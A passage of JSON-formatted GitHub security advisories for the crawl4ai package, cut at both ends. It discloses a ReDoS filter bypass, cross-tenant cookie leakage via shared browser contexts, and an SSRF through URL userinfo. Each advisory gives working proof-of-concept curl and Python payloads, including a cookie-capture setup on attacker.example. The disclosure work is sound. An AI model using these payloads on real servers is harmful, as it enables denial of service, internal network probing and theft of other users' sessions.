\"brotli>=1.2.1\" \"playwright>=1.64.1\" \"patchright>=1.64.2\"` in the environment that runs crawl4ai. Docker users can rebuild the image with those three packages upgraded.","severity":"high","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-phmg-6873-j3gj","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-11-20T12:55:55Z","published_at":"2026-11-20T12:55:55Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.5","patched_versions":"0.9.6","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:H\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H","score":7.5},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-787","name":"Out-of-bounds Write"},{"cwe_id":"CWE-1395","name":"Dependency on Vulnerable Third-Party Component"}],"cwe_ids":["CWE-787","CWE-1395"],"credits":[{"login":"weaverant","type":"reporter"},{"login":"ntohidi","type":"remediation_developer"}],"credits_detailed":[{"user":{"login":"weaverant","id":18034790,"node_id":"MDQ6VXNlcjE4MDM0Nzkw","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/18034790?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/weaverant","html_url":"https:\/\/github.com\/weaverant","followers_url":"https:\/\/api.github.com\/users\/weaverant\/followers","following_url":"https:\/\/api.github.com\/users\/weaverant\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/weaverant\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/weaverant\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/weaverant\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/weaverant\/orgs","repos_url":"https:\/\/api.github.com\/users\/weaverant\/repos","events_url":"https:\/\/api.github.com\/users\/weaverant\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/weaverant\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"},{"user":{"login":"ntohidi","id":17140097,"node_id":"MDQ6VXNlcjE3MTQwMDk3","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/17140097?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/ntohidi","html_url":"https:\/\/github.com\/ntohidi","followers_url":"https:\/\/api.github.com\/users\/ntohidi\/followers","following_url":"https:\/\/api.github.com\/users\/ntohidi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/ntohidi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/ntohidi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/ntohidi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/ntohidi\/orgs","repos_url":"https:\/\/api.github.com\/users\/ntohidi\/repos","events_url":"https:\/\/api.github.com\/users\/ntohidi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/ntohidi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":0,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:H\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H","score":7.5}},{"ghsa_id":"GHSA-8696-2734-9jqw","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-8696-2734-9jqw","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-8696-2734-9jqw","summary":"ReDoS gate bypass: list-form schema field type reaches the regex step (incomplete fix of GHSA-j843)","description":"### Summary\n\nThe 0.9.5 fix for GHSA-j843-8p47-rhxp refuses schema fields of type `regex` from untrusted request bodies, but only when `type` is the plain string `\"regex\"`. The schema strategies also accept `type` as a list of steps, such as `[\"text\", \"regex\"]`, and run the `regex` step the same way. An API client can send the list form and supply a regular expression with catastrophic backtracking, which the earlier fix was meant to block.\n\n### Details\n\n`_has_regex_field()` in `crawl4ai\/async_configs.py` checks `node.get(\"type\") == \"regex\"`. `_extract_single_field()` in `crawl4ai\/extraction_strategy.py` turns a scalar `type` into a one-item list and runs every step in it; a `regex` step calls `re.search(field[\"pattern\"], value)`. A list is never equal to `\"regex\"`, so the gate accepts it. This affects `JsonCssExtractionStrategy`, `JsonXPathExtractionStrategy` and `JsonLxmlExtractionStrategy`.\r\n\n\n### Proof of concept\n\nServer: crawl4ai 0.9.5 Docker image with default settings and a valid API token in `$TOKEN`.\r\n\r\n1. Send a schema field with `\"type\": \"regex\"` and a backtracking pattern. The 0.9.5 gate refuses it with HTTP 400:\r\n\r\n```bash\r\ncurl -s http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\/json' -d '{\r\n  \"urls\": [\"raw:<div><span>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!<\/span><\/div>\"],\r\n  \"crawler_config\": {\"type\": \"CrawlerRunConfig\", \"params\": {\"extraction_strategy\": {\r\n    \"type\": \"JsonCssExtractionStrategy\", \"params\": {\"schema\": {\r\n      \"name\": \"t\", \"baseSelector\": \"div\",\r\n      \"fields\": [{\"name\": \"x\", \"selector\": \"span\", \"type\": \"regex\", \"pattern\": \"(a+)+$\"}]}}}}\r\n}'\r\n```\r\n\r\n2. Send the same request with `type` as a list of steps:\r\n\r\n```bash\r\ncurl -s http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\/json' -d '{\r\n  \"urls\": [\"raw:<div><span>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!<\/span><\/div>\"],\r\n  \"crawler_config\": {\"type\": \"CrawlerRunConfig\", \"params\": {\"extraction_strategy\": {\r\n    \"type\": \"JsonCssExtractionStrategy\", \"params\": {\"schema\": {\r\n      \"name\": \"t\", \"baseSelector\": \"div\",\r\n      \"fields\": [{\"name\": \"x\", \"selector\": \"span\", \"type\": [\"text\", \"regex\"], \"pattern\": \"(a+)+$\"}]}}}}\r\n}'\r\n```\r\n\r\n3. While it runs, call `GET \/health` from another shell.\r\n\r\nResult: the list form is accepted. The server runs `re.search(\"(a+)+$\", ...)` on the page text, and the match time doubles with every extra `a`. With enough `a` characters the request does not finish, and `\/health` and other requests wait, because the match holds the interpreter lock. `JsonXPathExtractionStrategy` and `JsonLxmlExtractionStrategy` accept the same list form (use `\/\/div` and `\/\/span` as selectors for XPath).\r\n\r\nLibrary-only reproduction. No network, no browser. It loads each strategy from an untrusted body, then runs the accepted one on a backtracking input:\r\n\r\n```python\r\nimport time\r\nfrom crawl4ai.async_configs import CrawlerRunConfig, Provenance, UntrustedConfigError\r\n\r\ndef body(strategy, ftype):\r\n    sel = \"\/\/span\" if strategy == \"JsonXPathExtractionStrategy\" else \"span\"\r\n    base = \"\/\/div\" if strategy == \"JsonXPathExtractionStrategy\" else \"div\"\r\n    return {\"type\": \"CrawlerRunConfig\", \"params\": {\"extraction_strategy\": {\r\n        \"type\": strategy, \"params\": {\"schema\": {\"name\": \"t\", \"baseSelector\": base, \"fields\": [\r\n            {\"name\": \"x\", \"selector\": sel, \"type\": ftype, \"pattern\": \"(a+)+$\"}]}}}}}\r\n\r\naccepted = None\r\nfor strategy in [\"JsonCssExtractionStrategy\", \"JsonXPathExtractionStrategy\", \"JsonLxmlExtractionStrategy\"]:\r\n    for ftype in [\"regex\", [\"text\", \"regex\"], [\"regex\"]]:\r\n        try:\r\n            cfg = CrawlerRunConfig.load(body(strategy, ftype), provenance=Provenance.UNTRUSTED)\r\n            verdict = \"ACCEPTED\"\r\n            if strategy == \"JsonCssExtractionStrategy\" and accepted is None:\r\n                accepted = cfg.extraction_strategy\r\n        except UntrustedConfigError:\r\n            verdict = \"refused\"\r\n        print(f\"{strategy:30} type={ftype!s:20} {verdict}\")\r\n\r\nfor n in (10, 22, 24):\r\n    html = f\"<div><span>{'a' * n}!<\/span><\/div>\"\r\n    t = time.perf_counter()\r\n    accepted.extract(\"raw:\", html)\r\n    print(f\"{n} 'a's: {time.perf_counter() - t:.3f}s\")\r\n```\r\n\r\nOn 0.9.5 the scalar `\"regex\"` is refused for all three strategies, and both list forms are accepted. Run times grow about four times for every two extra `a` characters.\n\n### Impact\n\nSame as GHSA-j843-8p47-rhxp: one authenticated request can keep the server busy for as long as the match runs. Python's `re` holds the interpreter lock while it matches, so other requests, including health checks, wait. The library used directly is not affected: the caller chooses the schema.\r\n\r\n### Patch\r\n\r\n`_has_regex_field()` now treats a list `type` that contains `\"regex\"` the same as the scalar form, at any depth of the schema. Fixed in 0.9.6.\r\n\r\n### Workaround\r\n\r\nAt your reverse proxy, reject `crawler_config` bodies that contain `\"regex\"` anywhere in a schema field's `type`. Give API tokens only to trusted clients.\r\n","severity":"medium","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-8696-2734-9jqw","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-11-20T12:55:44Z","published_at":"2026-11-20T12:55:44Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.5","patched_versions":"0.9.6","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:H","score":6.5},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-1333","name":"Inefficient Regular Expression Complexity"}],"cwe_ids":["CWE-1333"],"credits":[{"login":"ntohidi","type":"remediation_developer"}],"credits_detailed":[{"user":{"login":"ntohidi","id":17140097,"node_id":"MDQ6VXNlcjE3MTQwMDk3","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/17140097?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/ntohidi","html_url":"https:\/\/github.com\/ntohidi","followers_url":"https:\/\/api.github.com\/users\/ntohidi\/followers","following_url":"https:\/\/api.github.com\/users\/ntohidi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/ntohidi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/ntohidi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/ntohidi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/ntohidi\/orgs","repos_url":"https:\/\/api.github.com\/users\/ntohidi\/repos","events_url":"https:\/\/api.github.com\/users\/ntohidi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/ntohidi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":0,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:N\/A:H","score":6.5}},{"ghsa_id":"GHSA-9xxj-3r64-qw54","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-9xxj-3r64-qw54","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-9xxj-3r64-qw54","summary":"Docker server shares one browser context between API clients, leaking cookies and site storage across callers","description":"### Summary\n\nThe Docker API server pools browsers by browser config only, and inside a pooled browser it reuses one browser context per run config. Neither key includes the caller. Two API clients that send the same config, which includes the common case of no config at all, run in the same Chromium context. Cookies, localStorage, IndexedDB, service workers, and the HTTP cache that one client's crawl leaves behind are present in the next client's crawl.\n\n### Details\n\n`get_crawler()` in `deploy\/docker\/crawler_pool.py` keys the pool on `_sig(cfg)`, a hash of `BrowserConfig.to_dict()`. `BrowserManager.get_page()` in `crawl4ai\/browser_manager.py` then reuses the context stored under `_make_config_signature(crawlerRunConfig)`, a hash of the context-shaping run config fields. The authenticated principal is in neither hash. The context lives until the browser is recycled (`max_pages_before_recycle`, 200 pages by default) and is never cleared between crawls. `deploy\/docker\/config.yml` notes this, but as a performance concern.\r\n\r\nThe server otherwise treats callers as separate: `POST \/token` mints a token per verified email, job results are owned by their principal, and quotas are per principal.\r\n\n\n### Proof of concept\n\nServer: crawl4ai 0.9.5 Docker image with default settings and two valid API tokens for two different callers, in `$TOKEN_A` and `$TOKEN_B`.\r\n\r\n1. On a host you control (`attacker.example`), serve two pages. `\/set` answers with the header `Set-Cookie: tenantA_secret=SECRET-AAA; Path=\/` and some page text. `\/echo` returns the `Cookie` header of the request in its body.\r\n2. Caller A crawls `\/set`. The browser stores the cookie:\r\n\r\n```bash\r\ncurl -s http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN_A\" -H 'Content-Type: application\/json' -d '{\r\n  \"urls\": [\"https:\/\/attacker.example\/set\"]\r\n}'\r\n```\r\n\r\n3. Caller B, a different principal, crawls `\/echo` with the same default config:\r\n\r\n```bash\r\ncurl -s http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN_B\" -H 'Content-Type: application\/json' -d '{\r\n  \"urls\": [\"https:\/\/attacker.example\/echo\"]\r\n}'\r\n```\r\n\r\nResult: the body of caller B's crawl shows `tenantA_secret=SECRET-AAA`. Caller B never set that cookie. Both requests got the same pooled browser and the same browser context, because neither key contains the caller. A crawl through a separate browser config does not show the cookie (negative control). Both crawls must run within the same context lifetime, which is 200 pages by default.\r\n\r\nLibrary-only reproduction, loopback only. It uses the server's own pool and two `arun()` calls on the crawler it returns (run it from `deploy\/docker` so `crawler_pool` imports):\r\n\r\n```python\r\nimport asyncio, threading\r\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\r\nfrom crawl4ai import AsyncWebCrawler, BrowserConfig, CrawlerRunConfig, CacheMode\r\n\r\nclass H(BaseHTTPRequestHandler):\r\n    def do_GET(self):\r\n        self.send_response(200)\r\n        self.send_header(\"Content-Type\", \"text\/html\")\r\n        if self.path == \"\/set\":\r\n            self.send_header(\"Set-Cookie\", \"tenantA_secret=SECRET-AAA; Path=\/\")\r\n        self.end_headers()\r\n        self.wfile.write(f\"<html><body><p>COOKIE[{self.headers.get('Cookie') or ''}]<\/p><\/body><\/html>\".encode())\r\n    def log_message(self, *a): pass\r\n\r\nsrv = HTTPServer((\"127.0.0.1\", 0), H)\r\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\r\nBASE = f\"http:\/\/127.0.0.1:{srv.server_port}\"\r\nRUN = CrawlerRunConfig(cache_mode=CacheMode.BYPASS)\r\n\r\nasync def main():\r\n    import crawler_pool\r\n    crawler_pool.MEM_LIMIT = 101   # skip the memory guard on a dev machine\r\n    a = await crawler_pool.get_crawler(BrowserConfig(headless=True))   # caller A\r\n    b = await crawler_pool.get_crawler(BrowserConfig(headless=True))   # caller B\r\n    print(\"same crawler for both callers:\", a is b)\r\n    await a.arun(f\"{BASE}\/set\", config=RUN)\r\n    r = await b.arun(f\"{BASE}\/echo\", config=RUN)\r\n    print(\"caller B Cookie header:\", r.cleaned_html.split(\"COOKIE[\")[1].split(\"]\")[0])\r\n    async with AsyncWebCrawler(config=BrowserConfig(headless=True)) as ctl:\r\n        r = await ctl.arun(f\"{BASE}\/echo\", config=RUN)\r\n        print(\"control Cookie header:\", r.cleaned_html.split(\"COOKIE[\")[1].split(\"]\")[0])\r\n\r\nasyncio.run(main())\r\n```\r\n\r\nOutput on 0.9.5:\r\n\r\n```\r\nsame crawler for both callers: True\r\ncaller B Cookie header: 'cookiesEnabled=true; tenantA_secret=SECRET-AAA'\r\ncontrol Cookie header: 'cookiesEnabled=true'\r\n```\n\n### Impact\n\nDeployments where more than one mutually untrusted client uses the same server, such as a public instance that hands out tokens or a hosted service. One client can see state another client's crawl created: a client that crawls a site after another one is sent that client's cookies and session for the site, and gets the page as it renders for that session. A client can also leave state for others on origins it controls, such as a service worker that intercepts later crawls of that origin. Exploitation needs the attacker to crawl the same origin within the same context lifetime as the victim.\r\n\r\nA single-operator deployment is one trust domain and is not affected. The library used directly is not affected.\r\n\r\n### Patch\r\n\r\n`AuthGateMiddleware` now sets `crawl4ai.browser_manager.browser_context_partition` to the caller's JWT `sub` for each request, and `BrowserManager` includes it in the context signature, so two callers never get the same browser context. The partition follows queued jobs (`WorkQueue` runs each job in the submitting request's context) and MCP tool calls (the loopback token carries the MCP caller's `sub` instead of one shared `mcp-service`). A partitioned crawl on a managed browser gets its own context instead of the shared default one, and an untrusted request body may no longer set `browser_mode` to anything other than `dedicated`. Plain library use, with no partition set, is unchanged. Fixed in 0.9.6.\r\n\r\n### Workaround\r\n\r\nRun one server instance per tenant. Lower `crawler.pool.max_pages_before_recycle` to shorten the window.\r\n\r\n","severity":"medium","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-9xxj-3r64-qw54","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-11-20T12:55:13Z","published_at":"2026-11-20T12:55:13Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.5","patched_versions":"0.9.6","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:H\/PR:L\/UI:N\/S:U\/C:L\/I:L\/A:N","score":4.2},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-488","name":"Exposure of Data Element to Wrong Session"}],"cwe_ids":["CWE-488"],"credits":[{"login":"arpe1618","type":"reporter"},{"login":"ntohidi","type":"remediation_developer"}],"credits_detailed":[{"user":{"login":"arpe1618","id":265149744,"node_id":"U_kgDOD83dMA","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/265149744?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/arpe1618","html_url":"https:\/\/github.com\/arpe1618","followers_url":"https:\/\/api.github.com\/users\/arpe1618\/followers","following_url":"https:\/\/api.github.com\/users\/arpe1618\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/arpe1618\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/arpe1618\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/arpe1618\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/arpe1618\/orgs","repos_url":"https:\/\/api.github.com\/users\/arpe1618\/repos","events_url":"https:\/\/api.github.com\/users\/arpe1618\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/arpe1618\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter","state":"accepted"},{"user":{"login":"ntohidi","id":17140097,"node_id":"MDQ6VXNlcjE3MTQwMDk3","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/17140097?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/ntohidi","html_url":"https:\/\/github.com\/ntohidi","followers_url":"https:\/\/api.github.com\/users\/ntohidi\/followers","following_url":"https:\/\/api.github.com\/users\/ntohidi\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/ntohidi\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/ntohidi\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/ntohidi\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/ntohidi\/orgs","repos_url":"https:\/\/api.github.com\/users\/ntohidi\/repos","events_url":"https:\/\/api.github.com\/users\/ntohidi\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/ntohidi\/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer","state":"accepted"}],"collaborating_users":null,"collaborating_teams":null,"private_fork":null,"comments":0,"cvss":{"vector_string":"CVSS:3.1\/AV:N\/AC:H\/PR:L\/UI:N\/S:U\/C:L\/I:L\/A:N","score":4.2}},{"ghsa_id":"GHSA-qwxw-87g2-26vm","cve_id":null,"url":"https:\/\/api.github.com\/repos\/unclecode\/crawl4ai\/security-advisories\/GHSA-qwxw-87g2-26vm","html_url":"https:\/\/github.com\/unclecode\/crawl4ai\/security\/advisories\/GHSA-qwxw-87g2-26vm","summary":"SSRF via URL userinfo in the TLS certificate fetch bypasses the Docker server egress check","description":"### Summary\n\nThe Docker API server checks each crawl URL against its SSRF rule, but the TLS certificate fetch (`fetch_ssl_certificate`) reads the host from a different part of the URL and dials it directly. A URL with a userinfo part, such as `https:\/\/127.0.0.1:443@public.example.com\/`, passes the check as `public.example.com` while the certificate fetch connects to `127.0.0.1:443`. Any API client can make the server open TLS connections to internal, private, and loopback addresses on port 443.\n\n### Details\n\n`validate_url_destination()` in `deploy\/docker\/utils.py` resolves and checks `urlparse(url).hostname`, which drops the userinfo. `SSLCertificate.from_url()` in `crawl4ai\/ssl_certificate.py` instead takes `urlparse(url).netloc`, which keeps the userinfo, and splits it on the first `:`. For `127.0.0.1:443@public.example.com` that gives `127.0.0.1`. It then calls `socket.create_connection((host, 443))`, outside the egress proxy that pins every other outbound fetch. `AsyncPlaywrightCrawlerStrategy._crawl_web()` calls it before navigation when `CrawlerRunConfig.fetch_ssl_certificate` is true, and that field is in `UNTRUSTED_FIELD_ALLOWLIST[\"CrawlerRunConfig\"]` in `crawl4ai\/async_configs.py`.\r\n\r\nBecause the socket is dialled directly, a plain hostname is also open to DNS rebinding: the name can resolve to a public address when it is checked and to an internal one when the certificate fetch resolves it again.\n\n### Proof of concept\n\nServer: crawl4ai 0.9.5 Docker image with default settings and a valid API token in `$TOKEN`.\r\n\r\n1. Send a crawl for a loopback URL. The SSRF check blocks it:\r\n\r\n```bash\r\ncurl -s http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\/json' -d '{\r\n  \"urls\": [\"https:\/\/127.0.0.1:443\/\"],\r\n  \"crawler_config\": {\"type\": \"CrawlerRunConfig\", \"params\": {\"fetch_ssl_certificate\": true}}\r\n}'\r\n```\r\n\r\nThe server answers with `URL blocked (SSRF protection)`.\r\n\r\n2. Run a TLS listener on `127.0.0.1:443` inside the container and log its connections.\r\n3. Send the same request with a userinfo part in the URL. The host after `@` is a public name:\r\n\r\n```bash\r\ncurl -s http:\/\/localhost:11235\/crawl -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application\/json' -d '{\r\n  \"urls\": [\"https:\/\/127.0.0.1:443@example.com\/\"],\r\n  \"crawler_config\": {\"type\": \"CrawlerRunConfig\", \"params\": {\"fetch_ssl_certificate\": true}}\r\n}'\r\n```\r\n\r\nResult: the request is accepted, because the SSRF check reads the host as `example.com`. The certificate fetch reads `127.0.0.1:443` from the same URL and opens a TLS connection to it. The listener logs a completed handshake with a client from `127.0.0.1`. The first request, with the plain loopback URL, never reaches the listener.\r\n\r\nLibrary-only reproduction, no Docker and no listener. It runs the server's own check, then records where the certificate fetch dials (needs DNS for `example.com`):\r\n\r\n```python\r\nimport socket\r\nfrom egress_broker import resolve_and_pin, EgressBlocked   # deploy\/docker\r\nfrom crawl4ai.ssl_certificate import SSLCertificate\r\n\r\ndialled = []\r\ndef fake_create_connection(addr, *a, **kw):\r\n    dialled.append(addr)\r\n    raise ConnectionRefusedError(\"not really dialling\")\r\nsocket.create_connection = fake_create_connection\r\n\r\nfor url in [\"https:\/\/127.0.0.1:443\/\", \"https:\/\/127.0.0.1:443@example.com\/\"]:\r\n    dialled.clear()\r\n    try:\r\n        resolve_and_pin(url)\r\n        verdict = \"ALLOWED\"\r\n    except EgressBlocked:\r\n        verdict = \"BLOCKED\"\r\n    if verdict == \"ALLOWED\":\r\n        try:\r\n            SSLCertificate.from_url(url)\r\n        except Exception:\r\n            pass\r\n    print(url, verdict, dialled or \"-\")\r\n```\r\n\r\nOutput on 0.9.5:\r\n\r\n```\r\nhttps:\/\/127.0.0.1:443\/ BLOCKED -\r\nhttps:\/\/127.0.0.1:443@example.com\/ ALLOWED [('127.0.0.1', 443)]\r\n```\n\n### Impact\n\nUnauthenticated (or low-privileged, with JWT enabled) SSRF from the Docker server, limited to TLS handshakes on port 443. An attacker gains: connections to internal, private, link-local, and loopback hosts; port and service discovery from the result and timing; and, when the internal certificate passes verification, its subject, issuer, and extensions in `result.ssl_certificate`. No request body is sent and no response body is returned.\r\n\r\nThe library used directly is not affected in the SSRF sense: the caller already chooses the URL it fetches.\r\n\r\n### Patch\r\n\r\n`SSLCertificate.from_url()` now takes the host from `urlparse(url).hostname` and the port from `.port`, and on the Docker server it opens the connection through the egress proxy, so the destination is resolved, checked, and pinned by the same rule as every other outbound fetch. Fixed in 0.9.6.\r\n\r\n### Workaround\r\n\r\nStrip `fetch_ssl_certificate` from incoming `crawler_config` bodies at your reverse proxy, and reject crawl URLs that contain `@` in the authority. Restrict the container's outbound network access. Enable authentication.\r\n","severity":"medium","author":null,"publisher":{"login":"unclecode","id":12494079,"node_id":"MDQ6VXNlcjEyNDk0MDc5","avatar_url":"https:\/\/avatars.githubusercontent.com\/u\/12494079?v=4","gravatar_id":"","url":"https:\/\/api.github.com\/users\/unclecode","html_url":"https:\/\/github.com\/unclecode","followers_url":"https:\/\/api.github.com\/users\/unclecode\/followers","following_url":"https:\/\/api.github.com\/users\/unclecode\/following{\/other_user}","gists_url":"https:\/\/api.github.com\/users\/unclecode\/gists{\/gist_id}","starred_url":"https:\/\/api.github.com\/users\/unclecode\/starred{\/owner}{\/repo}","subscriptions_url":"https:\/\/api.github.com\/users\/unclecode\/subscriptions","organizations_url":"https:\/\/api.github.com\/users\/unclecode\/orgs","repos_url":"https:\/\/api.github.com\/users\/unclecode\/repos","events_url":"https:\/\/api.github.com\/users\/unclecode\/events{\/privacy}","received_events_url":"https:\/\/api.github.com\/users\/unclecode\/received_events","type":"User","user_view_type":"public","site_admin":false},"identifiers":[{"value":"GHSA-qwxw-87g2-26vm","type":"GHSA"}],"state":"published","created_at":null,"updated_at":"2026-11-20T12:54:55Z","published_at":"2026-11-20T12:54:55Z","closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"crawl4ai"},"vulnerable_version_range":"<= 0.9.5","patched_versions":"0.9.6","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:L\/I:N\/A:N","score":5.3},"cvss_v4":{"vector_string":null,"score":null}},"cwes":[{"cwe_id":"CWE-918","name":"Server-Side Request 